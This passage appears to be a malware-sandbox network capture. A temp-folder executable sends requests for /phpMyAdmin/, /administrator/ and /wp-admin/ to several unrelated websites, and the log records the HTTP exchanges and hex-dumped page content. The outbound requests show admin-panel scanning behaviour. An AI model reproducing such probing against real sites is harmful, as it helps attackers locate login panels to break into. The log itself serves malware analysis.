2023-12-20 02:13:28 UTC	137	IN	Data Raw: 75 6e 74 69 6d 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 Data Ascii: untime-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.1
2023-12-20 02:13:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:28 UTC	1647	IN	Data Raw: 36 36 33 0d 0a 35 2e 30 27 20 69 64 3d 27 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 31 36 39 64 33 63 66 38 65 38 64 39 35 61 33 64 36 64 35 27 20 69 64 3d 27 77 70 2d 68 6f 6f 6b 73 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d Data Ascii: 6635.0' id='wp-polyfill-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/hooks.min.js?ver=4169d3cf8e8d95a3d6d5' id='wp-hooks-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.4	59061	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	179	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	330	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:28 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:28 UTC	7862	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 Data Ascii: 1f13<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Active Graphics</title><met
2023-12-20 02:13:28 UTC	99	IN	Data Raw: 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 Data Ascii: : auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: le
2023-12-20 02:13:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:28 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 Data Ascii: 1ff8ft;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !impor
2023-12-20 02:13:28 UTC	5	IN	Data Raw: 36 62 36 0d 0a Data Ascii: 6b6
2023-12-20 02:13:28 UTC	1718	IN	Data Raw: 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 25 37 43 52 6f 62 6f 74 6f 2b 53 6c 61 62 25 33 41 31 30 30 25 32 43 31 30 30 69 74 61 6c 69 63 25 32 43 32 30 30 25 32 43 32 30 30 69 74 61 6c 69 63 25 32 43 33 30 30 25 32 43 33 30 30 69 74 61 6c 69 63 25 32 43 34 30 30 25 32 43 34 30 30 69 74 61 6c 69 63 25 32 43 35 30 30 25 32 43 35 30 30 69 74 61 6c 69 63 25 32 43 36 30 30 25 32 43 36 30 30 69 74 61 6c 69 63 25 32 43 37 30 30 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 34 Data Ascii: %2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.4
2023-12-20 02:13:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	58610	87.98.154.146	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	183	OUT	GET /administrator/ HTTP/1.1 Host: www.plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache X-Powered-By: PHP/7.0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.plastikolor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:28 UTC	9782	IN	Data Raw: 32 62 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 38 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: 2b4a<!DOCTYPE html><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"> <link rel="icon" href="/wp-content/uploads/2017/08/favicon.ico" type="image/x-icon" />
2023-12-20 02:13:29 UTC	2756	IN	Data Raw: 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 63 2d 62 6c 6f 63 6b 2d 76 65 6e 64 6f 72 73 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 30 2e 77 70 2e 63 6f 6d 2f 70 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 35 2e 35 2e 34 Data Ascii: tyle.min.css' type='text/css' media='all' /><style id='wp-block-library-inline-css' type='text/css'>.has-text-align-justify{text-align:justify;}</style><link rel='stylesheet' id='wc-block-vendors-style-css' href='https://c0.wp.com/p/woocommerce/5.5.4
2023-12-20 02:13:29 UTC	1455	IN	Data Raw: 63 74 2d 66 6f 72 6d 2d 37 2d 74 72 61 63 6b 65 72 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 64 75 72 61 63 65 6c 6c 74 6f 6d 69 2d 67 6f 6f 67 6c 65 2d 74 61 67 2d 6d 61 6e 61 67 65 72 2f 6a 73 2f 67 74 6d 34 77 70 2d 66 6f 72 6d 2d 6d 6f 76 65 2d 74 72 61 63 6b 65 72 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 31 27 20 69 64 3d 27 67 74 6d 34 77 70 2d 66 6f 72 6d 2d 6d 6f 76 65 2d 74 72 61 63 6b 65 72 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 Data Ascii: ct-form-7-tracker-js'></script><script type='text/javascript' src='https://www.plastikolor.com/wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-form-move-tracker.js?ver=1.13.1' id='gtm4wp-form-move-tracker-js'></script><script type='text/jav
2023-12-20 02:13:29 UTC	2896	IN	Data Raw: 34 66 31 38 0d 0a 6c 22 3a 22 30 22 2c 22 6f 6e 53 63 72 6f 6c 6c 4f 66 66 73 65 74 22 3a 22 31 30 30 22 2c 22 6f 6e 43 6c 69 63 6b 22 3a 22 30 22 2c 22 63 6f 6f 6b 69 65 4e 61 6d 65 22 3a 22 63 6f 6f 6b 69 65 5f 6e 6f 74 69 63 65 5f 61 63 63 65 70 74 65 64 22 2c 22 63 6f 6f 6b 69 65 54 69 6d 65 22 3a 22 32 35 39 32 30 30 30 22 2c 22 63 6f 6f 6b 69 65 54 69 6d 65 52 65 6a 65 63 74 65 64 22 3a 22 32 35 39 32 30 30 30 22 2c 22 63 6f 6f 6b 69 65 50 61 74 68 22 3a 22 5c 2f 22 2c 22 63 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 69 6f 6e 22 3a 22 30 22 2c 22 63 61 63 68 65 22 3a 22 30 22 2c 22 72 65 66 75 73 65 22 3a 22 30 22 2c 22 72 65 76 6f 6b 65 43 6f 6f 6b 69 65 73 22 3a 22 30 22 2c 22 72 65 76 6f 6b 65 43 6f 6f 6b 69 65 73 Data Ascii: 4f18l":"0","onScrollOffset":"100","onClick":"0","cookieName":"cookie_notice_accepted","cookieTime":"2592000","cookieTimeRejected":"2592000","cookiePath":"\/","cookieDomain":"","redirection":"0","cache":"0","refuse":"0","revokeCookies":"0","revokeCookies
2023-12-20 02:13:29 UTC	1448	IN	Data Raw: 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 3d 27 64 61 74 61 4c 61 79 65 72 27 3f 27 26 6c 3d 27 2b 6c 3a 27 27 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 6a 2e 73 72 63 3d 0a 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 6d 2e 27 2b 27 6a 73 3f 69 64 3d 27 2b 69 2b 64 6c 3b 66 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6a 2c 66 29 3b 0a 7d 29 28 77 69 6e 64 Data Ascii: w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='//www.googletagmanager.com/gtm.'+'js?id='+i+dl;f.parentNode.insertBefore(j,f);})(wind
2023-12-20 02:13:29 UTC	1448	IN	Data Raw: 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 3f 69 64 3d 47 54 4d 2d 54 58 43 57 34 43 57 22 0a 68 65 69 67 68 74 3d 22 30 22 20 77 69 64 74 68 3d 22 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 6e 64 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 28 6e 6f 73 63 72 69 70 74 29 20 2d 2d 3e 20 0d 0a 20 20 20 20 20 20 20 20 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 75 70 65 72 74 6f 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: ww.googletagmanager.com/ns.html?id=GTM-TXCW4CW"height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>... End Google Tag Manager (noscript) --> <header> <div class="supertop"> <div class=
2023-12-20 02:13:29 UTC	1448	IN	Data Raw: 65 22 20 64 61 74 61 2d 6d 6f 62 69 6c 65 2d 73 63 72 65 65 6e 3d 22 66 61 6c 73 65 22 20 64 61 74 61 2d 75 73 65 2d 61 6e 61 6c 79 74 69 63 73 3d 22 74 72 75 65 22 20 64 61 74 61 2d 6d 69 6e 2d 63 68 61 72 73 3d 22 31 22 20 64 61 74 61 2d 62 75 74 74 6f 6e 73 2d 6f 72 64 65 72 3d 22 31 22 20 64 61 74 61 2d 74 69 6d 65 6f 75 74 3d 22 33 30 30 22 20 64 61 74 61 2d 69 73 2d 6d 6f 62 69 6c 65 3d 22 66 61 6c 73 65 22 20 64 61 74 61 2d 70 61 67 65 2d 69 64 3d 22 30 22 20 64 61 74 61 2d 74 61 78 3d 22 22 20 3e 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 61 77 73 2d 73 65 61 72 63 68 2d 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 72 6f 6c 65 Data Ascii: e" data-mobile-screen="false" data-use-analytics="true" data-min-chars="1" data-buttons-order="1" data-timeout="300" data-is-mobile="false" data-page-id="0" data-tax="" ><form class="aws-search-form" action="https://www.plastikolor.com/" method="get" role
2023-12-20 02:13:29 UTC	1448	IN	Data Raw: 65 6d 65 73 2f 70 6c 61 73 74 69 6b 61 74 69 6f 6e 2f 69 6d 61 67 65 73 2f 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 2d 62 6c 61 63 6b 2d 73 68 61 70 65 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 65 31 22 3e 3c 61 20 68 72 65 66 3d 22 2f 70 61 6e 69 65 72 2f 22 3e 4d 6f 6e 20 70 61 6e 69 65 72 20 65 6e 20 63 6f 75 72 73 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: emes/plastikation/images/shopping-cart-black-shape.png" alt=""></div> <div class="texte"> <div><div class="texte1"><a href="/panier/">Mon panier en cours</a></div>
2023-12-20 02:13:29 UTC	1448	IN	Data Raw: 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 6e 61 76 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 2d 66 69 78 65 64 20 73 68 6f 77 46 69 78 65 64 2d 69 6e 6c 69 6e 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 6c 61 73 74 69 6b Data Ascii: a></div> </div> </div> <nav class="main-nav"> <div class="container"> <div class="logo-fixed showFixed-inline"><img src="https://www.plastikolor.com/wp-content/themes/plastik
2023-12-20 02:13:29 UTC	1448	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 69 65 2d 70 72 6f 64 75 69 74 2f 63 6f 6c 6f 72 61 74 69 6f 6e 2f 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 63 2f 6e 65 74 74 6f 79 61 6e 74 2d 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 63 2f 22 3e 4e 65 74 74 6f 79 61 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 69 65 2d 70 72 6f 64 75 69 74 2f 63 6f 6c 6f 72 61 74 69 6f 6e 2f 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 63 2f 63 6f 6c 6f 72 61 74 69 6f 6e 2d 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 Data Ascii: "https://www.plastikolor.com/categorie-produit/coloration/hypalon-et-caoutchouc/nettoyant-hypalon-et-caoutchouc/">Nettoyant</a></li><li><a href="https://www.plastikolor.com/categorie-produit/coloration/hypalon-et-caoutchouc/coloration-hypalon-et-caoutchou

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.4	59057	96.45.112.177	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	325	OUT	GET /administrator/index.php HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip Cookie: aiovg_rand_seed=3166726906; PHPSESSID=1cf1a6b8b84a4b16816da373dc5197dd User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.texasopendoor.com/administrator/
2023-12-20 02:13:28 UTC	181	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 146 Connection: close Vary: Accept-Encoding
2023-12-20 02:13:28 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.4	59103	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	360	OUT	GET /wp-admin/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://bvox.com/wp-login.php
2023-12-20 02:13:28 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_PyK4XkIDapV9AGTpLnwI/BtmYr56PcBTyz4hQGITOLup6kWLYhcktxEBNj1FYaR7AF67Wyp6yQNhwfP2p1exCw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:28 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.4	59165	104.26.7.37	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	210	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
